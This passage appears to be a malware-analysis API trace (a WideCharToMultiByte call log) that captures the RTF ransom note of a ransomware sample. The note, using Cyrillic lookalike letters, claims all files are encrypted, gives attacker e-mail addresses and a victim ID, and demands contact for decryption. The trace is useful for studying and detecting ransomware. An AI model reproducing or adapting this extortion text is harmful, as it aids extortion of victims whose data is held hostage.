u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 